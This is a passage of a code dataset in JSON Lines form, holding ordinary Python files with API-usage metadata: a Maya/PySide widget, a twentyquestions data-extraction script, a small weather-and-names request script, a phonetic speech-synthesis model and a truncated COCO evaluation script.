"image_cache.ImageCache.get_instance", "line_number": 54, "usage_type": "call"}, {"api_name": "image_cache.ImageCache", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 55, "usage_type": "name"}, {"api_name": "image_cache.get_snapshots", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 64, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 64, "usage_type": "name"}, {"api_name": "gopro_client.GoProClient.get_instance", "line_number": 65, "usage_type": "call"}, {"api_name": "gopro_client.GoProClient", "line_number": 65, "usage_type": "name"}, {"api_name": "image_cache.add_snapshot", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 73, "usage_type": "name"}, {"api_name": "image_cache.remove_image", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 74, "usage_type": "name"}, {"api_name": "resetter.Reset.get_instance", "line_number": 83, "usage_type": "call"}, {"api_name": "resetter.Reset", "line_number": 83, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 85, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 85, "usage_type": "name"}, {"api_name": "image_cache.ImageCache.get_instance", "line_number": 86, "usage_type": "call"}, {"api_name": "image_cache.ImageCache", "line_number": 86, "usage_type": "name"}, {"api_name": "image_cache.current_reset_image", "line_number": 87, "usage_type": "attribute"}, {"api_name": "flask.request.method", "line_number": 98, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 98, "usage_type": "name"}, {"api_name": "resetter.Reset.get_instance", "line_number": 99, "usage_type": "call"}, {"api_name": "resetter.Reset", "line_number": 99, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 110, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 110, "usage_type": "name"}, {"api_name": "image_cache.ImageCache.get_instance", "line_number": 125, "usage_type": "call"}, {"api_name": "image_cache.ImageCache", "line_number": 125, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 126, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 126, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 129, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 129, "usage_type": "name"}, {"api_name": "calibration.Calibrator.get_instance", "line_number": 130, "usage_type": "call"}, {"api_name": "calibration.Calibrator", "line_number": 130, "usage_type": "name"}]}
{"seq_id": "19175397811", "text": "import sys\r\nimport random\r\nfrom PySide6 import QtCore, QtWidgets, QtGui\r\nimport maya.cmds as cmds\r\n\r\n\r\nclass MyWidget(QtWidgets.QWidget):\r\n    def __init__(self):\r\n        super().__init__()\r\n\r\n        self.cube = cmds.polyCube( sx=5, sy=5, sz=5 )\r\n        self.sphere = cmds.polySphere(sx=10, sy=15, r=20)\r\n        self.cone = cmds.polyCone( sx=10, sy=15, sz=5, r=20, h=10)\r\n        self.cylinder = cmds.polyCylinder( sx=10, sy=15, sz=5, h=20)\r\n        self.torus = cmds.polyTorus( sx=8, sy=16, r=10, sr=1 )\r\n\r\n        \r\n        self.model = [self.cube, self.sphere, self.cone, self.cylinder, self.torus]\r\n\r\n        self.button = QtWidgets.QPushButton(\"Create Rando Polygon!\")\r\n\r\n        self.layout = QtWidgets.QVBoxLayout(self)\r\n        self.layout.addWidget(self.button)\r\n\r\n        self.button.clicked.connect(self.createPoly)\r\n\r\n    @QtCore.Slot()\r\n    def createPoly(self):\r\n        self.random.choice(self.model)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    app = QtWidgets.QApplication([])\r\n\r\n    widget = MyWidget()\r\n    widget.resize(800, 600)\r\n    widget.show()\r\n\r\n    sys.exit(app.exec())", "repo_name": "JonathanJaeJunLim/anim-t380-2022-assignments", "sub_path": "assignment - 5/python/pySideTest.py", "file_name": "pySideTest.py", "file_ext": "py", "file_size_in_byte": 1092, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PySide6.QtWidgets.QWidget", "line_number": 7, "usage_type": "attribute"}, {"api_name": "PySide6.QtWidgets", "line_number": 7, "usage_type": "name"}, {"api_name": "maya.cmds.polyCube", "line_number": 11, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 11, "usage_type": "name"}, {"api_name": "maya.cmds.polySphere", "line_number": 12, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 12, "usage_type": "name"}, {"api_name": "maya.cmds.polyCone", "line_number": 13, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 13, "usage_type": "name"}, {"api_name": "maya.cmds.polyCylinder", "line_number": 14, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 14, "usage_type": "name"}, {"api_name": "maya.cmds.polyTorus", "line_number": 15, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 15, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QPushButton", "line_number": 20, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets", "line_number": 20, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QVBoxLayout", "line_number": 22, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets", "line_number": 22, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Slot", "line_number": 27, "usage_type": "call"}, {"api_name": "PySide6.QtCore", "line_number": 27, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QApplication", "line_number": 33, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets", "line_number": 33, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 39, "usage_type": "call"}]}
{"seq_id": "72883517351", "text": "\"\"\"Extract mirror subjects from 20 Questions mirror subject HITs.\n\nSee ``python extractmirrorsubjects.py --help`` for more information.\n\"\"\"\n\nimport ast\nimport collections\nimport json\nimport logging\nimport re\n\nimport click\n\nfrom scripts import _utils\n\n\nlogger = logging.getLogger(__name__)\n\n\n# constants\n\nKEY_SCHEMA = {\n    'subject': str,\n    'question': str,\n    'answer': str,\n    'quality_labels': ast.literal_eval,  # List[str]\n    'score': int,\n    'high_quality': bool,\n    'labels': ast.literal_eval,  # List[str]\n    'is_bad': bool,\n    'true_votes': int,\n    'majority': ast.literal_eval\n}\n\n\n# main function\n\n@click.command(\n    context_settings={\n        'help_option_names': ['-h', '--help']\n        })\n@click.argument(\n    'xml_dir',\n    type=click.Path(exists=True, file_okay=False, dir_okay=True))\n@click.argument(\n    'output_path',\n    type=click.Path(exists=False, file_okay=True, dir_okay=False))\ndef extractmirrorsubjects(xml_dir, output_path):\n    \"\"\"Extract mirror subjects from XML_DIR and write to OUTPUT_PATH.\n\n    Extract mirror subject data from a batch of the mirror subjects\n    HITs. XML_DIR should be an XML directory extracted with AMTI.\n    OUTPUT_PATH is the location to which the data will be written in\n    JSON Lines format.\n    \"\"\"\n    # submissions : the form data submitted from the\n    # mirror-subjects HITs as a list of dictionaries mapping the\n    # question identifiers to the free text, i.e.:\n    #\n    #     [\n    #       {\n    #         'attribute-idx': attribute_value,\n    #         ...\n    #       },\n    #       ...\n    #     ]\n    #\n    # See the data for individual attributes and values. The index (idx)\n    # is used because each HIT had the worker label multiple instances\n    # for efficiency purposes.\n    submissions = _utils.extract_xml_dir(xml_dir)\n\n    # decode the data from the ``\"attribute-idx\": value`` style to the\n    # individual rows.\n    rows = _utils.decode_attribute_idx_data(submissions)\n\n    # coerce the data types correctly and add in the new attribute.\n    new_subjects_skipped = 0\n    new_row_strs = []\n    for row in rows:\n        # create the new row\n\n        # use an OrderedDict so that the keys appear in the right order\n        # in the JSON.\n        new_row = collections.OrderedDict([\n            (attribute, as_type(row[attribute]))\n            for attribute, as_type\n            in KEY_SCHEMA.items()\n        ])\n\n        # clean up the raw text of the new subject\n        # strip whitespace and lowercase\n        new_subject = row['new_subject']\\\n            .strip()\\\n            .lower()\n        # remove beginning and ending punctuation\n        normalized_new_subject = re.sub(\n            r'(^[^a-z0-9]|[^a-z0-9]$)',\n            '',\n            new_subject)\n\n        # filter out bad examples using a few rules\n        unexpected_format = not re.match(\n            r'^[a-z0-9-]+$', normalized_new_subject)\n        too_long = len(normalized_new_subject) > 20\n        if unexpected_format or too_long:\n            logger.warning(\n                f'Skipping new subject \"{normalized_new_subject}\".')\n            new_subjects_skipped += 1\n            continue\n\n        if normalized_new_subject != new_subject:\n            logger.warning(\n                f'New subject {new_subject} was modified to'\n                f' {normalized_new_subject}.')\n\n        new_row['subject'] = normalized_new_subject\n        new_row['answer'] = None\n\n        # delete the irrelevant label attributes since they don't apply\n        # to the new subject\n        del new_row['labels']\n        del new_row['is_bad']\n        del new_row['true_votes']\n        del new_row['majority']\n\n        new_row_strs.append(json.dumps(new_row))\n\n    if new_subjects_skipped > 0:\n        logger.warning(\n            f'{new_subjects_skipped} new subjects were skipped.')\n\n    # write out the data\n    with click.open_file(output_path, 'w') as output_file:\n        output_file.write('\\n'.join(sorted(new_row_strs)))\n\n\nif __name__ == '__main__':\n    extractmirrorsubjects()\n", "repo_name": "allenai/twentyquestions", "sub_path": "scripts/extractmirrorsubjects.py", "file_name": "extractmirrorsubjects.py", "file_ext": "py", "file_size_in_byte": 4025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 26, "usage_type": "attribute"}, {"api_name": "ast.literal_eval", "line_number": 29, "usage_type": "attribute"}, {"api_name": "ast.literal_eval", "line_number": 32, "usage_type": "attribute"}, {"api_name": "scripts._utils.extract_xml_dir", "line_number": 71, "usage_type": "call"}, {"api_name": "scripts._utils", "line_number": 71, "usage_type": "name"}, {"api_name": "scripts._utils.decode_attribute_idx_data", "line_number": 75, "usage_type": "call"}, {"api_name": "scripts._utils", "line_number": 75, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 85, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 97, "usage_type": "call"}, {"api_name": "re.match", "line_number": 103, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 127, "usage_type": "call"}, {"api_name": "click.open_file", "line_number": 134, "usage_type": "call"}, {"api_name": "click.command", "line_number": 38, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 42, "usage_type": "call"}, {"api_name": "click.Path", "line_number": 44, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 45, "usage_type": "call"}, {"api_name": "click.Path", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "8753173036", "text": "# encoding: utf-8\n\nimport requests\nimport json\n\ndef get_weather(url):\n    result = requests.get(url)\n    if result.status_code == 200:\n        return result.json()\n    else:\n        return('Не могу получить данные о погоде!')\n\ndef get_names(url='http://api.data.mos.ru/v1/datasets/2009/rows', year=None):\n    if year in [2015, 2016]:\n        url = url + '/?$filter=Cells/Year eq ' + str(year)\n\n    result = requests.get(url)\n\n    if result.status_code == 200:\n        return result.json()\n    else:\n        return('Не могу получить имена!')\n        raise\n\nif __name__ == '__main__':\n    #print(get_weather('http://api.openweathermap.org/data/2.5/weather?id=524901&units=metric&APPID=2853a176be5333d336775ad3cfb4027b'))\n    print(get_names())\n", "repo_name": "mightydok/moscowpy3", "sub_path": "homework3/req.py", "file_name": "req.py", "file_ext": "py", "file_size_in_byte": 788, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 7, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "31448092400", "text": "'''\n`phonetic` - symbol representing a sound\n`sample` - a single audio run's worth of sound information about a phonetic\n`params` - phonetic parameters derived from a `sample`\n`frames` - aggregated and focused `params` ready for use in synthesis\n`info` - `frames` and prior information for a `phonetic`\n'''\n\nfrom . import _utils\n\nimport json as _json\nimport math as _math\n\nPHONETICS = [\n    'ae', 'ay', 'a', 'e', 'y', 'i', 'o', 'w', 'uu', 'u',\n    'sh', 'sh_v', 'h', 'f', 'v', 'th', 'th_v', 's', 'z', 'm', 'n', 'ng', 'r', 'l',\n    'p', 'b', 't', 'd', 'k', 'g', 'ch', 'j',\n]\n\nVOICED = [\n    'ae', 'ay', 'a', 'e', 'y', 'i', 'o', 'w', 'uu', 'u',\n    'sh_v', 'v', 'th_v', 'z', 'm', 'n', 'ng', 'r', 'l',\n]\n\nFRICATIVES = [\n    'sh', 'sh_v', 'h', 'f', 'v', 'th', 'th_v', 's', 'z',\n    'p', 'b', 't', 'd', 'k', 'g', 'ch', 'j',\n]\n\nSTOPS = [\n    'p', 'b', 't', 'd', 'k', 'g', 'ch', 'j',\n]\n\nPHONETIC_DESCRIPTIONS = {\n    'ae': 'a as in apple',\n    'ay': 'a as in day',\n    'a': 'a as in aw',\n    'e': 'e as in bed',\n    'y': 'e as in eat',\n    'i': 'i as in it',\n    'o': 'o as in oh',\n    'w': 'oo as in zoo',\n    'uu': 'oo as in foot',\n    'u': 'u as in uh',\n    'sh': 'sh as in shock',\n    'sh_v': 's as in fusion',\n    'h': 'h as in heel',\n    'f': 'f as in foot',\n    'v': 'v as in vine',\n    'th': 'th as in thin',\n    'th_v': 'th as in the',\n    's': 's as in soon',\n    'z': 'z as in zoo',\n    'm': 'm as in map',\n    'n': 'n as in nap',\n    'ng': 'ng as in thing',\n    'r': 'r as in run',\n    'l': 'l as in left',\n    'p': 'p as in pine (repeat)',\n    'b': 'b as in bin (repeat)',\n    't': 't as in tag (repeat)',\n    'd': 'd as in day (repeat)',\n    'k': 'k as in cook (repeat)',\n    'g': 'g as in go (repeat)',\n    'ch': 'ch as in choose (repeat)',\n    'j': 'j as in jog (repeat)',\n}\n\nRECORD_DURATION_UNSTRESSED_VOWEL = 1\nRECORD_DURATION_TRANSITION = 1\nRECORD_DURATION_GO = 4\n\nFORMANT_RANGES = [\n    [0, 200],\n    [200, 1000],\n    [800, 2300],\n    [1500, 3200],\n]\n\nNOISE_PIECES = [\n    2000,\n    3000,\n    7000,\n    14000,\n]\n\nclass Model:\n    def mean(l):\n        return sum(l) / len(l)\n\n    def descend(x, ks):\n        for k in ks: x = x[k]\n        return x\n\n    def aggregate(x, ks, reject_outliers=False):\n        x = [Model.descend(i, ks) for i in x]\n        m = Model.mean(x)\n        if reject_outliers:\n            r = max(x) - min(x)\n            x2 = [i for i in x if abs(i-m) <= r/4]\n            if len(x2):\n                m = Model.mean(x2)\n        return m\n\n    def __init__(\n        self,\n        path=None,\n        stft_bins=512,\n        tone_bins=64,\n        noise_bins=64,\n        sample_rate=44100,\n        run_size=64,\n    ):\n        self.stft_bins = stft_bins\n        self.tone_bins = tone_bins\n        self.noise_bins = noise_bins\n        self.sample_rate = sample_rate\n        self.run_size = run_size\n        self.freq_per_bin = sample_rate / stft_bins\n        self.freq_per_bin_noise = sample_rate / 2 / noise_bins\n        self.phonetics = {}\n        self.formant_path_plot_data = {}\n        if path: self.load(path)\n\n    def find_formant(\n        self,\n        spectrum,\n        freq_i,\n        freq_f,\n        formant_below_freq=0,\n        formant_prev_freq=None,\n    ):\n        # look for formant near where it was before\n        if formant_prev_freq:\n            e = 200\n            freq_i = max(freq_i, formant_prev_freq - e)\n            freq_f = min(freq_f, formant_prev_freq + e)\n        # convert freq range to bins\n        bin_i = _math.floor(freq_i / self.freq_per_bin)\n        bin_f = _math.floor(freq_f / self.freq_per_bin)\n        # make sure above formant below, and non-empty window\n        bin_i = min(\n            max(\n                bin_i,\n                _math.floor(formant_below_freq / self.freq_per_bin) + 4\n            ),\n            bin_f - 1,\n        )\n        # avoid below formant\n        spread = 3\n        spectrum = spectrum[:]\n        if formant_below_freq:\n            formant_below_bin = _math.floor(formant_below_freq / self.freq_per_bin)\n            a = max(formant_below_bin - spread, 0)\n            b = min(formant_below_bin + spread + 1, len(spectrum))\n            for i in range(a, b):\n                spectrum[i] = 0\n        # find peak\n        spread = 2\n        e_peak = 0\n        if formant_prev_freq:\n            bin_peak = int(formant_prev_freq / self.freq_per_bin)\n        else:\n            bin_peak = (bin_i + bin_f) // 2\n        for i in range(bin_i, bin_f):\n            a = max(i-spread, 0)\n            b = min(i+spread+1, len(spectrum))\n            for j in range(a, b):\n                window = spectrum[a:b]\n                e_window = sum(i ** 2 for i in window)\n                if e_window > e_peak:\n                    e_peak = e_window\n                    bin_peak = i\n        # adjust based on neighboring bin amps\n        bin_formant = bin_peak\n        spread = 2\n        if bin_peak >= spread and bin_peak < len(spectrum) - spread:\n            bins = [\n                (i, spectrum[i])\n                for i in range(bin_peak - spread, bin_peak + spread + 1)\n            ]\n            s = sum(v ** 2 for i, v in bins)\n            if s != 0:\n                bin_formant = sum(i * v ** 2 for i, v in bins) / s\n                bin_formant = max(bin_formant, bin_i)\n                bin_formant = min(bin_formant, bin_f)\n        #\n        return {\n            'freq': bin_formant * self.freq_per_bin,\n            'amp': _math.sqrt(e_peak),\n        }\n\n    def find_tone(self, spectrum, phonetic=None, formants_prev=None):\n        # find formants\n        formants = []\n        formant_below_freq = 0\n        for i, [freq_i, freq_f] in enumerate(FORMANT_RANGES):\n            formant = self.find_formant(\n                spectrum,\n                freq_i,\n                freq_f,\n                formant_below_freq,\n                formants_prev and formants_prev[i]['freq'],\n            )\n            formant_below_freq = formant['freq']\n            if phonetic and phonetic not in VOICED:\n                formant['amp'] = 0\n            formants.append(formant)\n        # find tone spectrum\n        if not phonetic or phonetic in VOICED:\n            # take all bins with amplitudes above twice median\n            spectrum_tone = []\n            median = sorted(spectrum)[len(spectrum) // 2]\n            threshold = 2 * median\n            for i in range(self.tone_bins):\n                v = 0\n                if spectrum[i] > threshold:\n                    v = spectrum[i]\n                spectrum_tone.append(v)\n        else:\n            spectrum_tone = [0] * self.tone_bins\n        #\n        return {\n            'formants': formants,\n            'spectrum': spectrum_tone,\n        }\n\n    def find_noise(self, spectrum, phonetic=None):\n        spectrum_noise = [0] * self.noise_bins\n        pieces = [0] * len(NOISE_PIECES)\n        if not phonetic or phonetic in FRICATIVES:\n            for i, amp in enumerate(spectrum):\n                if i * self.freq_per_bin < 1000: continue\n                spectrum_noise[_math.floor(i / len(spectrum) * self.noise_bins)] += amp\n            # estimate with piecewise function\n            # assume 0 Hz to first noise piece is 0\n            # roughly optimize a piecewise function\n            freq_per_noise_bin = (self.sample_rate / 2) / len(spectrum_noise)\n            def error(x):\n                x = [0, *x]\n                err = 0\n                for i, v in enumerate(spectrum_noise):\n                    f = i * freq_per_noise_bin\n                    u = 0\n                    for f_a, f_b, a, b in zip(NOISE_PIECES, NOISE_PIECES[1:] + [20000], x, x[1:] + [0]):\n                        if f_a < f < f_b:\n                            u = _utils.linear(a, b, (f - f_a) / (f_b - f_a))\n                            break\n                    err += (v - u) ** 2\n                return err\n            pieces = [0, *_utils.minimize(error, [\n                spectrum_noise[_math.floor(i / freq_per_noise_bin)]\n                for i in NOISE_PIECES[1:]\n            ])]\n        return {\n            'pieces': pieces,\n            'spectrum': spectrum_noise,\n        }\n\n    def parameterize(self, spectrum, amp_tone, amp_noise, phonetic=None, formants_prev=None):\n        if phonetic and phonetic not in VOICED:\n            amp_tone = 0\n        tone = self.find_tone(spectrum, phonetic, formants_prev)\n        noise = self.find_noise(spectrum, phonetic)\n        f = _math.sqrt(sum([\n            sum(i ** 2 for i in tone['spectrum']),\n            sum(i ** 2 for i in noise['spectrum']),\n        ]))\n        amp = amp_tone + amp_noise\n        if amp:\n            toniness = amp_tone / amp\n        else:\n            toniness = 0\n        return {\n            'toniness': toniness,\n            'tone': tone,\n            'noise': noise,\n            'f': f,\n        }\n\n    def frames_from_paramses(self, paramses, continuant=True):\n        if continuant:\n            return [{\n                'toniness': Model.aggregate(paramses, ['toniness']),\n                'tone': {\n                    'formants': [\n                        {\n                            'freq': Model.aggregate(paramses, ['tone', 'formants', i, 'freq'], True),\n                            'amp': Model.aggregate(paramses, ['tone', 'formants', i, 'amp']),\n                        }\n                        for i in range(len(FORMANT_RANGES))\n                    ],\n                    'spectrum': [\n                        Model.aggregate(paramses, ['tone', 'spectrum', i])\n                        for i in range(self.tone_bins)\n                    ],\n                },\n                'noise': {\n                    'pieces': [\n                        Model.aggregate(paramses, ['noise', 'pieces', i])\n                        for i in range(len(NOISE_PIECES))\n                    ],\n                    'spectrum': [\n                        Model.aggregate(paramses, ['noise', 'spectrum', i])\n                        for i in range(self.noise_bins)\n                    ],\n                },\n                'amp': 1,\n            }]\n        else:\n            f_max = max([i['f'] for i in paramses]) or 1\n            return [\n                {\n                    **i,\n                    'amp': i['f'] / f_max,\n                }\n                for i in paramses\n            ]\n\n    def add(self, phonetic, samples):\n        continuant = phonetic not in STOPS\n        voiced = phonetic in VOICED\n        if voiced and continuant:\n            # track formants movement from unstressed vowel to phonetic\n            stride = int(0.1 * self.sample_rate / self.run_size)  # in speech samples (not audio samples)\n            start = int((RECORD_DURATION_UNSTRESSED_VOWEL + RECORD_DURATION_TRANSITION + 1) * self.sample_rate / self.run_size)  # in speech samples (not audio samples)\n            formants = [\n                {'amp': 0, 'freq': 100},\n                {'amp': 0, 'freq': 500},\n                {'amp': 0, 'freq': 1000},\n                {'amp': 0, 'freq': 2500},\n            ]\n            plot_data = []\n            for i_sample in range(0, start, stride):\n                paramses = [self.parameterize(*i, phonetic, formants) for i in samples[i_sample:i_sample+stride]]\n                frame = self.frames_from_paramses(paramses, True)[0]\n                formants = frame['tone']['formants']\n                plot_data.append({\n                    'spectrum': frame['tone']['spectrum'],\n                    'formants': formants,\n                })\n            # get this phonetic's formants\n            self.formant_path_plot_data[phonetic] = plot_data\n            paramses = [self.parameterize(*i, phonetic, formants) for i in samples[start:]]\n            frames = self.frames_from_paramses(paramses, continuant)\n        else:\n            paramses = [self.parameterize(*i, phonetic) for i in samples]\n            frames = self.frames_from_paramses(paramses, continuant)\n            if not continuant:\n                i_start = next(i for i, frame in enumerate(frames) if frame['amp'] > 0.9)\n                frames = frames[i_start:]\n                try:\n                    i_end = next(i for i, frame in enumerate(frames) if frame['amp'] < 0.1)\n                except StopIteration:\n                    i_end = None\n                frames = frames[:i_end]\n        self.phonetics[phonetic] = {\n            'type': 'continuant' if continuant else 'stop',\n            'voiced': voiced,\n            'fricative': phonetic in FRICATIVES,\n            'frames': frames,\n        }\n\n    def add_0(self):\n        self.add('0', [[[0] * self.stft_bins, 0, 0]])\n\n    def save(self, path):\n        with open(path, 'w') as f:\n            _json.dump(self.phonetics, f, indent=2)\n\n    def save_formant_path_plot_data(self, path):\n        with open(path, 'w') as f:\n            _json.dump(self.formant_path_plot_data, f, indent=2)\n\n    def load(self, path):\n        with open(path, 'r') as f:\n            self.phonetics = _json.load(f)\n\n    def duration(self, phonetic, default):\n        if phonetic in STOPS:\n            return len(self.phonetics[phonetic]['frames']) * self.run_size / self.sample_rate\n        else:\n            return default\n\nclass Syllable:\n    def __init__(self, onset, nucleus, coda, default_wait, model):\n        self.onset = onset\n        self.nucleus = nucleus\n        self.coda = coda\n        self.default_wait = default_wait\n        self.model = model\n        self.start = None\n        self.end = None\n        self.speedup = 1\n\n    def __iter__(self):\n        if self.speedup == 1:\n            for phonetic in self.onset:\n                yield phonetic, self.model.duration(phonetic, self.default_wait)\n            duration_nucleus = self.duration() - self.duration_segment(self.onset) - self.duration_segment(self.coda)\n            for phonetic in self.nucleus:\n                yield phonetic, duration_nucleus / len(self.nucleus)\n            for phonetic in self.coda:\n                yield phonetic, self.model.duration(phonetic, self.default_wait)\n        else:\n            for segment in self.segments():\n                for phonetic in segment:\n                    yield phonetic, self.model.duration(phonetic, self.default_wait) / self.speedup\n\n    def from_str(s, default_wait, model):\n        split = s.split('.')\n        if len(split) == 1:\n            segments = '', split[0], ''\n        elif len(split) == 2:\n            segments = split[0], split[1], ''\n        elif len(split) == 3:\n            segments = split\n        else:\n            raise Exception(f'invalid syllable {s}')\n        segments = [Utterance.phonetics_from_str(i) for i in segments]\n        return Syllable(*segments, default_wait, model)\n\n    def squeeze(self):\n        expected_duration = self.end - self.start\n        if expected_duration == 0:\n            self.speedup = _math.inf\n            return\n        actual_duration = self.duration()\n        if actual_duration > expected_duration:\n            self.speedup = actual_duration / expected_duration\n\n    def duration(self):\n        return max(\n            sum(self.duration_segment(i) for i in self.segments()),\n            self.end - self.start,\n        )\n\n    def duration_segment(self, phonetics):\n        return sum(self.model.duration(i, self.default_wait) for i in phonetics)\n\n    def segments(self):\n        return self.onset, self.nucleus, self.coda\n\nclass Utterance:\n    def __init__(\n        self,\n        model=None,\n        default_wait=1/6,\n        default_pitch=42,\n    ):\n        self.phonetics = []\n        self.waits = []\n        self.pitches = []\n        self.model = model\n        self.default_wait = default_wait\n        self.default_pitch = default_pitch\n\n    def __iter__(self):\n        return iter(zip(self.phonetics, self.waits, self.pitches))\n\n    def from_str(s, *args, **kwargs):\n        self = Utterance(*args, **kwargs)\n        self.phonetics = Utterance.phonetics_from_str(s.replace(' ', '0'))\n        if self.phonetics[-1] != '0':\n            self.phonetics.append('0')\n        self.infer()\n        self.add_prestop_silence()\n        return self\n\n    def from_syllables_and_notes(syllables, notes, model, *args, **kwargs):\n        self = Utterance(model, *args, **kwargs)\n        syllables = [Syllable.from_str(i, self.default_wait, self.model) for i in syllables.split()]\n        for syllable, note in zip(syllables, notes):\n            syllable.start = note['on'] / self.model.sample_rate\n            syllable.end = note['off'] / self.model.sample_rate\n            syllable.squeeze()\n            silence = syllable.start - sum(self.waits)\n            if silence > 1e-2:\n                self.phonetics.append('0')\n                self.waits.append(silence)\n                self.pitches.append(self.pitches[-1] if self.pitches else self.default_pitch)\n            for phonetic, wait in syllable:\n                self.phonetics.append(phonetic)\n                self.waits.append(wait)\n                self.pitches.append(note['number'])\n        self.add_prestop_silence()\n        return self\n\n    def phonetics_from_str(s):\n        phonetics = []\n        bracketed_phonetic = None\n        for c in s:\n            if c == '[':\n                bracketed_phonetic = ''\n            elif c == ']':\n                phonetics.append(bracketed_phonetic)\n                bracketed_phonetic = None\n            elif bracketed_phonetic != None:\n                bracketed_phonetic += c\n            else:\n                phonetics.append(c)\n        return phonetics\n\n    def infer(self):\n        while len(self.waits) < len(self.phonetics):\n            wait = self.default_wait\n            if self.model:\n                wait = self.model.duration(self.phonetics[len(self.waits)], wait)\n            self.waits.append(wait)\n        while len(self.pitches) < len(self.phonetics):\n            self.pitches.append(self.pitches[-1] if self.pitches else self.default_pitch)\n\n    def add_prestop_silence(self):\n        silences = []\n        for i, phonetic in enumerate(self.phonetics):\n            if i == 0: continue\n            if phonetic in STOPS:\n                old = self.waits[i-1]\n                self.waits[i-1] = max(\n                    self.waits[i-1] - 0.05,\n                    self.waits[i-1] / 2,\n                )\n                silences.append((i, old - self.waits[i-1]))\n        for i, wait in reversed(silences):\n            self.phonetics.insert(i, '0')\n            self.waits.insert(i, wait)\n            self.pitches.insert(i, self.pitches[i-1])\n\n    def print(self):\n        i = 0\n        stride = 10\n        while i < len(self.phonetics):\n            s = min(stride, len(self.phonetics) - i)\n            for j in range(s): print(f'{self.phonetics[i+j]:>8}', end='')\n            print()\n            for j in range(s): print(f'{self.waits[i+j]:>8.2f}', end='')\n            print()\n            for j in range(s): print(f'{self.pitches[i+j]:>8}', end='')\n            print()\n            i += stride\n", "repo_name": "dansgithubuser/dlal", "sub_path": "skeleton/dlal/_speech.py", "file_name": "_speech.py", "file_ext": "py", "file_size_in_byte": 18856, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "70", "api": [{"api_name": "math.floor", "line_number": 139, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 140, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 145, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 153, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 190, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 234, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 252, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 265, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 369, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 373, "usage_type": "call"}, {"api_name": "json.load", "line_number": 377, "usage_type": "call"}, {"api_name": "math.inf", "line_number": 426, "usage_type": "attribute"}]}
{"seq_id": "18155196661", "text": "import os\nfrom models.detector import Detector\nfrom pycocotools.cocoeval import COCOeval\nimport pycocotools.coco as coco\nimport pycocotools.mask as mask_util\nimport numpy as np\nfrom tqdm import tqdm\nfrom config import cfg as opt\nos.environ['CUDA_VISIBLE_DEVICES'] = '3'\nvalid_ids = [\n            1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13,\n            14, 15, 16, 17, 18, 19, 20, 21, 22, 23,\n            24, 25, 27, 28, 31, 32, 33, 34, 35, 36,\n            37, 38, 39, 40, 41, 42, 43, 44, 46, 47,\n            48, 49, 50, 51, 52, 53, 54, 55, 56, 57,\n            58, 59, 60, 61, 62, 63, 64, 65, 67, 70,\n            72, 73, 74, 75, 76, 77, 78, 79, 80, 81,\n            82, 84, 85, 86, 87, 88, 89, 90]\n\n## config recover weights\nopt.weights = 'exp/coco_person/model_last.pth'\nopt.vis_trehs = 0.01\nsplit = 'val'\n\ndetector = Detector(opt)\ndata = coco.COCO(os.path.join(\n            opt.data_dir, 'annotations',\n            'instances_{}2017.json').format(split))\n\nif opt.class_name!='*' :  ## for one class\n    catIds = data.getCatIds(opt.class_name)\n    imgIds = data.getImgIds(catIds=catIds)\n    valid_ids = catIds\n\ndetections = []\nfor img_id in tqdm(data.getImgIds()):\n    img_name = os.path.join(os.path.join(opt.data_dir, '{}2017'.format(split)),\n                            